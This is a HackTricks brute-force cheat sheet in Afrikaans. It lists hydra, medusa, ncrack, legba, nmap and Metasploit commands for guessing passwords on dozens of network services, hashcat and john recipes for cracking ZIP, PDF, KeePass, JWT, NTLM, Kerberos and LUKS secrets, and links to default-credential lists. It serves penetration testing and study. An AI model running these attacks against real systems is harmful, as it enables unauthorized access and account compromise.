# Brute Force - CheatSheet
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik te bou en **outomatiese werksvloei** te skep wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\ Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Default Credentials **Soek in google** vir standaard geloofsbriewe van die tegnologie wat gebruik word, of **probeer hierdie skakels**: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://theinfocentric.com/**](https://theinfocentric.com/) ## **Skep jou eie Woordeboeke** Vind soveel inligting oor die teiken as wat jy kan en genereer 'n pasgemaakte woordeboek. Gereedskap wat kan help: ### Crunch ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ Lower case alpha characters , Upper case alpha characters % Numeric characters ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` ### Cewl ```bash cewl example.com -m 5 -w words.txt ``` ### [CUPP](https://github.com/Mebus/cupp) Genereer wagwoorde gebaseer op jou kennis van die slagoffer (name, datums...) ``` python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) 'n Woordlys generator hulpmiddel, wat jou toelaat om 'n stel woorde te verskaf, wat jou die moontlikheid gee om verskeie variasies van die gegewe woorde te skep, wat 'n unieke en ideale woordlys skep om te gebruik met betrekking tot 'n spesifieke teiken. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst __ _______ _____ _______ ______ _____ \ \ / /_ _|/ ____|__ __| ____| __ \ \ \ /\ / / | | | (___ | | | |__ | |__) | \ \/ \/ / | | \___ \ | | | __| | _ / \ /\ / _| |_ ____) | | | | |____| | \ \ \/ \/ |_____|_____/ |_| |______|_| \_\ Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% Generated 67885 lines. Finished in 0.920s. ``` ### [pydictor](https://github.com/LandGrey/pydictor) ### Woordlyste * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi) * [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) * [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/) * [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/) * [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists) * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik te bou en **werkvloei** te **automate** wat aangedryf word deur die wêreld se **meest gevorderde** gemeenskapstools.\ Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Dienste Georden alfabeties volgens diensnaam. ### AFP ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login msf> set BLANK_PASSWORDS true msf> set USER_AS_PASS true msf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP ```bash nmap --script ajp-brute -p 8009 ``` ## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM en Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` ### Cassandra ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` ### CouchDB ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` ### Docker Registrasie ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` ### Elasticsearch ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` ### HTTP Generiese Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) ### HTTP Basiese Auth ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` ### HTTP - NTLM ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` ### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` Vir http**s** moet jy verander van "http-post-form" na "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla of (D)rupal of (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt #https://github.com/Sjord/jwtcrack python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #John john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256 #https://github.com/ticarpi/jwt_tool python3 jwt_tool.py -d wordlists.txt #https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8 #https://github.com/mazen160/jwt-pwn python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` ### LDAP ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` ### Mongo ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using tickets against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt # Bruteforce using passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt # Bruteforce using hashes against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ``` ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` ### MySQL ```bash # hydra hydra -L usernames.txt -P pass.txt mysql # msfconsole msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` ### OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 ./odat.py passwordguesser -s $SERVER -d $SID ./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt #msf1 msf> use admin/oracle/oracle_login msf> set RHOSTS msf> set RPORT 1521 msf> set SID #msf2, this option uses nmap and it fails sometimes for some reason msf> use scanner/oracle/oracle_login msf> set RHOSTS msf> set RPORTS 1521 msf> set SID #for some reason nmap fails sometimes when executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` Om **oracle\_login** met **patator** te gebruik, moet jy **installeer**: ```bash pip3 install cx_Oracle --upgrade ``` [Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawe 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V # Insecure legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110 # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` ### PostgreSQL ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432 patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` ### PPTP Jy kan die `.deb` pakket aflaai om te installeer vanaf [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` ### Redis ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` ### Rexec ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` ### SFTP ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` ### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` ### SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` ### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` ### SQL Server ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' legba ssh --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` #### Swak SSH sleutels / Debian voorspelbare PRNG Sommige stelsels het bekende gebreke in die willekeurige saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat met gereedskap soos [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gebruteforce kan word. Voor-gegenererde stelle van swak sleutels is ook beskikbaar soos [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ en OpenMQ) Die STOMP teksprotokol is 'n wyd gebruikte boodskapprotokol wat **naatlose kommunikasie en interaksie met gewilde boodskapkwotasiedienste** soos RabbitMQ, ActiveMQ, HornetQ, en OpenMQ toelaat. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapoperasies uit te voer. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` ### Telnet ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ --username admin \ --password wordlists/passwords.txt \ --target localhost:23 \ --telnet-user-prompt "login: " \ --telnet-pass-prompt "Password: " \ --telnet-prompt ":~$ " \ --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` ### VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0 use auxiliary/scanner/vnc/vnc_login nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt legba vnc --target localhost:5901 --password data/passwords.txt #Metasploit use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ```
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik **werkvloei** te bou en te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\ Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Plaaslik ### Aanlyn krakdatabasisse * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 met/sonder ESS/SSP en met enige uitdaging se waarde) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 vangste, en argiewe MSOffice, ZIP, PDF...) * [https://crackstation.net/](https://crackstation.net) (Hashes) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) * [https://gpuhash.me/](https://gpuhash.me) (Hashes en lêer hashes) * [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) * [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) Kyk hierna voordat jy probeer om 'n Hash te brute force. ### ZIP ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ```bash zip2john file.zip > zip.john john zip.john ``` ```bash #$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` #### Bekende platte teks zip aanval Jy moet die **platte teks** (of 'n deel van die platte teks) **van 'n lêer wat binne** die versleutelde zip bevat, weet. Jy kan **lêername en grootte van lêers wat binne** 'n versleutelde zip is, nagaan deur: **`7z l encrypted.zip`**\ Laai [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) van die vrylating bladsy af. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file ./bkcrack -C -c -P -p # Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18 # With that key you can create a new zip file with the content of encrypted.zip # but with a different pass that you set (so you can decrypt it) ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` ### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ```bash #Download and install requirements for 7z2john wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` ### PDF ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt #pdf2john didn't work well, john didn't know which hash type was # To permanently decrypt the pdf sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### PDF Eienaar Wagwoord Om 'n PDF Eienaar wagwoord te kraak, kyk hier: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack #Bruteforce using crackjwt.py python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #Bruteforce using john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` ### NTLM kraking ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password keepass2john -k file.kdbx > hash # The keepass is also using a file as a needed credential #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Lucks beeld #### Metode 1 Installeer: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` #### Metode 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` Nog 'n Luks BF tutoriaal: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` ### PGP/GPG Privaat sleutel ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` ### Cisco
### DPAPI Meester Sleutel Gebruik [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) en dan john ### Open Office Wachtwoord Beskermde Kolom As jy 'n xlsx-lêer het met 'n kolom wat deur 'n wagwoord beskerm word, kan jy dit ontprotect: * **Laai dit op na google drive** en die wagwoord sal outomaties verwyder word * Om dit **handmatig** te **verwyder**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* # Find something like: # Remove that line and rezip the file zip -r file.xls . ``` ### PFX Sertifikate ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ```
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik **werkvloei** te bou en te **automate** wat deur die wêreld se **meest gevorderde** gemeenskapstools aangedryf word.\ Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Gereedskap **Hash voorbeelde:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifiseerder ```bash hash-identifier > ``` ### Wordlists * **Rockyou** * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) ### **Wordlist Generation Tools** * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-wandelgenerator met konfigureerbare basis karakters, sleutelkaart en roetes. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` ### John mutasie Lees _**/etc/john/john.conf**_ en konfigureer dit ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat #### Hashcat-aanvalle * **Woordlys-aanval** (`-a 0`) met reëls **Hashcat** kom reeds met 'n **map wat reëls bevat** maar jy kan [**ander interessante reëls hier vind**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` * **Wordlist combinator** aanval Dit is moontlik om **2 woordlyste in 1** te kombineer met hashcat.\ As lys 1 die woord **"hello"** bevat en die tweede 2 lyne met die woorde **"world"** en **"earth"** bevat. Die woorde `helloworld` en `helloearth` sal gegenereer word. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt # Same attack as before but adding chars in the newly generated words # In the previous example this will generate: ## hello-world! ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` * **Mask aanval** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d hashcat --help #will show the charsets and are as follows ? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 h | 0123456789abcdef H | 0123456789ABCDEF s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff # Mask attack declaring custom charset hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## -1 ?d?s defines a custom charset (digits and specials). ## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset. # Mask attack with variable password length ## Create a file called masks.hcmask with this content: ?d?s,?u?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?1 